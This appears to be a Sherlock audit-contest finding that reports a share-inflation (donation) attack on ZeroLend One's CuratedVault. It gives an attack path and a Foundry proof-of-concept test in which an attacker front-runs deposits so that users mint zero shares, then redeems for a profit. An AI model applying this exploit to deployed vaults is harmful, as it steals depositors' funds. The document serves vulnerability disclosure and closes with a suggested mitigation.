Vault is susceptible to Inflation attack

Summary

CuratedVault.sol is susceptible to a form of inflation attack. The steps an attacker will take are as follows: https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVault.sol#L328

Mint 1 share with 1 asset.
Frontrun a users deposit by donating 2x the users deposit directly to the pool.
Redeem his 1 share.

In typical vault donation attackers, the attacker exploits the calculation of assets/shares with a donation. This donation causes a legitimate deposit transaction to mint zero shares, effectively inflating the 1 share the attacker preminted. The above steps will cause a user's deposit to mint 0 shares, essentially forcing a user to donate assets. The attack, as I have found, will not be profitable at this stage. For the attack to be profitable, multiple deposits will be needed. The POC I have provided will show that an additional deposit of equal size + 2 will result in a profit for the attacker.

Root Cause

The ability to directly donate to a pool on behalf of a vault allows the share inflation to be attempted.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Attacker mints 1 share with 1 wei asset.
Attacker front runs legitimate deposit to vault with donation directly to pool on vaults behalf, causing the pool to mint 0 shares.
Multiple deposits of equal or lessor value to the donation are performed, each minting 0 shares.
Once enough assets have been accumulated, attacker redeems his 1 share for a profit.

Impact

Users will be unable to mint shares with token amounts less than that of the initially front run deposit. Multiple users could mistakenly send deposit transactions and mint 0 shares. At minimum, the pool's share logic is broken and this attack is considered a griefing attack. If enough users deposit assets without minting shares, the attacker is able to redeem his 1 share for a net profit on the attack.

PoC

From ERC4626Test.sol:

function test_inflationAttack(address mal) public {
      vm.assume(mal != address(0));
      uint assets = 1 ether;
      loanToken.mint(supplier, assets * 5);
      IPool pool = allMarkets[0];

      // per OZ, attacker needs u + 1 assets where u is the user deposit amt
      loanToken.mint(mal, 2 * assets + 1);
      uint malStartingBal = loanToken.balanceOf(mal);
      // attacker mints 1 share
      vm.startPrank(mal);
      loanToken.approve(address(vault), 1);
      uint shares = vault.deposit(1, mal);
      vm.stopPrank();
      assertEq(shares, 1, 'attacker should mint 1 share');
      assertEq(loanToken.balanceOf(address(vault)),  0, 'vault should have 0 assets');
      assertEq(allMarkets[0].supplyAssets(address(loanToken), vault.positionId()), 1, 'market should have 1 asset');

      // attacker front runs users deposit with donation to pool
      vm.startPrank(mal);
      loanToken.approve(address(pool), assets * 2);
      pool.supplySimple(address(loanToken), address(vault), assets * 2, 0);
      vm.stopPrank();

      // user deposits
      vm.startPrank(supplier);
      uint userShares = vault.deposit(assets, onBehalf);
      assertEq(userShares, 0, 'user deposit mints 0 shares');
      userShares = vault.deposit(assets + 2, onBehalf);
      assertEq(userShares, 0, 'user deposit mints 0 share');
      vm.stopPrank();

      // shares needed to withdraw all assets
      // uint assetsBal = loanToken.balanceOf(address(allMarkets[0]));
      // uint sharesNeeded = vault.convertToShares(assetsBal);
      // uint maxRedeem = vault.maxRedeem(mal);
      // uint maxWithdraw = vault.maxWithdraw(mal);
      // console.logString('shares needed to w/d assets');
      // console.logUint(sharesNeeded);
      // console.logUint(assetsBal);
      // console.logUint(maxRedeem);
      // console.logUint(maxWithdraw);

      // attacker withdraws
      vm.startPrank(mal);
      uint ts = vault.totalSupply();
      console.logString('total supply');
      console.logUint(ts);
      console.logString('assets per share');

      vault.redeem(1, mal, mal);
      // vault.withdraw(2.5 ether, mal, mal);
      vm.stopPrank();

      // vault should have 0 assets
      assertEq(loanToken.balanceOf(address(vault)), 0, 'vault should have 0 assets');

      // attacker should have his starting assets and users assets: 3 * assets + 1
      assertGt(loanToken.balanceOf(mal), malStartingBal, 'attacker should have more assets');

    }

Mitigation

I recommend not allowing deposits to pool on behalf of vaults.

Duplicate of #141

sherlock-audit / 2024-06-new-scope-judging

Jigsaw - Vault is susceptible to Inflation attack #100